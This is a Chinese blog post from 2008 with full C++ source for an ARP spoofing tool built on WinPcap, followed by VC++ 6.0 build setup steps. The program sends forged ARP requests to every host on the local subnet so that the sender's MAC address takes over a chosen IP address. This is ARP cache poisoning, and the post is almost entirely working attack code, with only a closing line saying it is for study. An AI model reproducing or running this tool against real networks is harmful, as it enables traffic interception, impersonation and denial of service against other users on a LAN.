• ARP欺骗源码(基于WinPcap实现)


    ARP欺骗源码(基于WinPcap实现)   佟强  2008.10.8

    1. //ArpCheat.h
    2. #ifndef MY_ARP_CHEAT_INCLUDE_H
    3. #define MY_ARP_CHEAT_INCLUDE_H
    4. //字节对齐必须是1
    5. #pragma pack (1)
    6. struct ethernet_head
    7. {
    8.  unsigned char dest_mac[6];  //目标主机MAC地址
    9.  unsigned char source_mac[6]; //源端MAC地址
    10.  unsigned short eh_type;   //以太网类型
    11. };
    12. struct arp_head
    13. {
    14.  unsigned short hardware_type; //硬件类型:以太网接口类型为1
    15.  unsigned short protocol_type; //协议类型:IP协议类型为0X0800
    16.  unsigned char add_len;   //硬件地址长度:MAC地址长度为6B
    17.  unsigned char pro_len;   //协议地址长度:IP地址长度为4B
    18.  unsigned short option;   //操作:ARP请求为1,ARP应答为2
    19.  unsigned char sour_addr[6];  //源MAC地址:发送方的MAC地址
    20.  unsigned long sour_ip;   //源IP地址:发送方的IP地址
    21.  unsigned char dest_addr[6];  //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址
    22.  unsigned long dest_ip;   //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址
    23.  unsigned char padding[18];
    24. };
    25. struct arp_packet     //最终arp包结构
    26. {
    27.  ethernet_head eth;    //以太网头部
    28.  arp_head arp;     //arp数据包头部
    29. };
    30. #pragma pack ()
    31. /**
    32. * 获得网卡的MAC地址
    33. * pDevName 网卡的设备名称
    34. */
    35. unsigned char* GetSelfMac(char* pDevName);
    36. /**
    37. * 封装ARP请求包
    38. * source_mac 源MAC地址
    39. * srcIP 源IP
    40. * destIP 目的IP
    41. */
    42. unsigned char* BuildArpPacket(unsigned char* source_mac, 
    43.                        unsigned long srcIP, unsigned long destIP);
    44. #endif
    45. //ArpCheat.cpp
    46. #include <stdio.h>
    47. #include <pcap.h>
    48. #include <conio.h>
    49. #include <packet32.h>
    50. #include <ntddndis.h>
    51. #include "ArpCheat.h"
    52. int main(int argc,char* argv[]){
    53.  pcap_if_t *alldevs;              //全部网卡列表
    54.  pcap_if_t *d;                    //一个网卡
    55.  int inum;                        //用户选择的网卡序号
    56.  int i=0;                         //循环变量
    57.  pcap_t *adhandle;                //一个pcap实例
    58.  char errbuf[PCAP_ERRBUF_SIZE];   //错误缓冲区
    59.  unsigned char *mac;              //本机MAC地址
    60.  unsigned char *packet;           //ARP包
    61.  unsigned long fakeIp;            //要伪装成的IP地址
    62.  pcap_addr_t *pAddr;               //网卡地址
    63.  unsigned long ip;                //IP地址
    64.  unsigned long netmask;           //子网掩码
    65.  if(argc!=2){
    66.   printf("Usage: %s inet_addr/n",argv[0]);
    67.   return -1;
    68.  }
    69.  //从参数列表获得要伪装的IP地址
    70.  fakeIp = inet_addr(argv[1]);
    71.  if(INADDR_NONE==fakeIp){
    72.   fprintf(stderr,"Invalid IP: %s/n",argv[1]);
    73.   return -1;
    74.  }
    75.     
    76.     /* 获得本机网卡列表 */
    77.     if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
    78.     {
    79.         fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);
    80.         exit(1);
    81.     }
    82.     
    83.     /* 打印网卡列表 */
    84.     for(d=alldevs; d; d=d->next)
    85.     {
    86.         printf("%d", ++i);
    87.         if (d->description)
    88.             printf(". %s/n", d->description);
    89.         else
    90.             printf(". No description available/n");
    91.     }
    92.     //如果没有发现网卡
    93.     if(i==0)
    94.     {
    95.         printf("/nNo interfaces found! Make sure WinPcap is installed./n");
    96.         return -1;
    97.     }
    98.     //请用户选择一个网卡
    99.     printf("Enter the interface number (1-%d):",i);
    100.     scanf("%d", &inum);
    101.     
    102.    //如果用户选择的网卡序号超出有效范围,则退出
    103.     if(inum < 1 || inum > i)
    104.     {
    105.         printf("/nInterface number out of range./n");
    106.         /* Free the device list */
    107.         pcap_freealldevs(alldevs);
    108.         return -1;
    109.     }
    110.     
    111.     /* 移动指针到用户选择的网卡 */
    112.     for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
    113.     
    114.     mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://"
    115.     printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s/n",
    116.            mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);
    117.  /* 打开网卡 */
    118.     if ( (adhandle= pcap_open(d->name,          // name of the device
    119.                               65536,            // portion of the packet to capture
    120.                               0,                //open flag
    121.                               1000,             // read timeout
    122.                               NULL,             // authentication on the remote machine
    123.                               errbuf            // error buffer
    124.                               ) ) == NULL)
    125.     {
    126.         fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n",
    127.                  d->name);
    128.         /* Free the device list */
    129.         pcap_freealldevs(alldevs);
    130.         return -1;
    131.     }
    132.  for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){
    133.   //得到用户选择的网卡的一个IP地址
    134.   ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;
    135.   //得到该IP地址对应的子网掩码
    136.   netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;
    137.   if (!ip || !netmask){
    138.    continue;
    139.   }
    140.   //看看这个IP和要伪装的IP是否在同一个子网
    141.   if((ip&netmask)!=(fakeIp&netmask)){
    142.    continue//如果不在一个子网,继续遍历地址列表
    143.   }
    144.   unsigned long netsize = ntohl(~netmask); //网络中主机数
    145.   unsigned long net = ip & netmask; //子网地址
    146.   for(unsigned long n=1; n<netsize; n++){
    147.    //第i台主机的IP地址,网络字节顺序
    148.    unsigned long destIp = net | htonl(n);
    149.    //构建假的ARP请求包,达到本机伪装成给定的IP地址的目的
    150.    packet = BuildArpPacket(mac,fakeIp,destIp);
    151.    if(pcap_sendpacket(adhandle, packet, 60)==-1){
    152.      fprintf(stderr,"pcap_sendpacket error./n");
    153.    }
    154.   }
    155.  }
    156.  return 0;
    157. }
    158. /**
    159. * 获得网卡的MAC地址
    160. * pDevName 网卡的设备名称
    161. */
    162. unsigned char* GetSelfMac(char* pDevName){
    163.  static u_char mac[6];
    164.  memset(mac,0,sizeof(mac));
    165.  LPADAPTER lpAdapter =   PacketOpenAdapter(pDevName);
    166.  if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
    167.  {
    168.   return NULL;
    169.  }
    170.  PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
    171.  if (OidData == NULL) 
    172.  {
    173.   PacketCloseAdapter(lpAdapter);
    174.   return NULL;
    175.  }
    176.  // 
    177.  // Retrieve the adapter MAC querying the NIC driver
    178.  //
    179.  OidData->Oid = OID_802_3_CURRENT_ADDRESS;
    180.  OidData->Length = 6;
    181.  memset(OidData->Data, 0, 6);
    182.  BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);
    183.  if(Status)
    184.  {
    185.   memcpy(mac,(u_char*)(OidData->Data),6);
    186.  }
    187.  free(OidData);
    188.  PacketCloseAdapter(lpAdapter);
    189.  return mac;
    190. }
    191. /**
    192. * 封装ARP请求包
    193. * source_mac 源MAC地址
    194. * srcIP 源IP
    195. * destIP 目的IP
    196. */
    197. unsigned char* BuildArpPacket(unsigned char* source_mac, 
    198.                       unsigned long srcIP,unsigned long destIP)
    199. {
    200.  static struct arp_packet packet;
    201.  //目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF
    202.  memset(packet.eth.dest_mac,0xFF,6); 
    203.  //源MAC地址
    204.  memcpy(packet.eth.source_mac,source_mac,6);
    205.  //上层协议为ARP协议,0x0806
    206.  packet.eth.eh_type = htons(0x0806);
    207.  //硬件类型,Ethernet是0x0001
    208.  packet.arp.hardware_type = htons(0x0001);
    209.  //上层协议类型,IP为0x0800
    210.  packet.arp.protocol_type = htons(0x0800);
    211.  //硬件地址长度:MAC地址长度为0x06
    212.  packet.arp.add_len = 0x06;
    213.  //协议地址长度:IP地址长度为0x04
    214.  packet.arp.pro_len = 0x04;
    215.  //操作:ARP请求为1
    216.  packet.arp.option = htons(0x0001);
    217.  //源MAC地址
    218.  memcpy(packet.arp.sour_addr,source_mac,6);
    219.  //源IP地址
    220.  packet.arp.sour_ip = srcIP;
    221.  //目的MAC地址,填充0
    222.  memset(packet.arp.dest_addr,0,6);
    223.  //目的IP地址
    224.  packet.arp.dest_ip = destIP;
    225.  //填充数据,18B
    226.  memset(packet.arp.padding,0,18);
    227.  return (unsigned char*)&packet;
    228. }
    VC++ 6.0 中使用WinPcap

    1. 下载并安装WinPcap,安装之后在目录”C:/WINDOWS/system32“下WinPcap添加了Packet.dll、wpcap.dll。
    2. 增加WinPcap的include和lib路径:
      Tools→Options→Directories,其中include文件的路径增加WinPcap的include路径(其中有pcap.h等头文件),library文件的路径增加WinPcap的lib路径(其中有Packet.lib和wpcap.lib)。
    3. 增加项目的静态链接库:
      Project→Settings→Link→Object/library Modules,在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。
    4. 增加预编译信息:
      Project→Settings→C/C++→Preprocessor definitions,在文本框的末尾添加”WPCAP,HAVE_REMOTE“。

         仅供交流学习之用,请勿在真实网络环境中使用。

  • 相关阅读:
    pandas.DataFrame.to_excel
    python list [:1]
    python 读取文件
    pandas 中的常用数学计算
    神经网络相关术语
    keras初探
    机器学习相关
    Numpy random arange zeros
    numpy 常用函数
    【Redis学习之四】Redis数据类型 string
  • 原文地址:https://www.cnblogs.com/zhangyunlin/p/6168150.html
Copyright © 2020-2023  润新知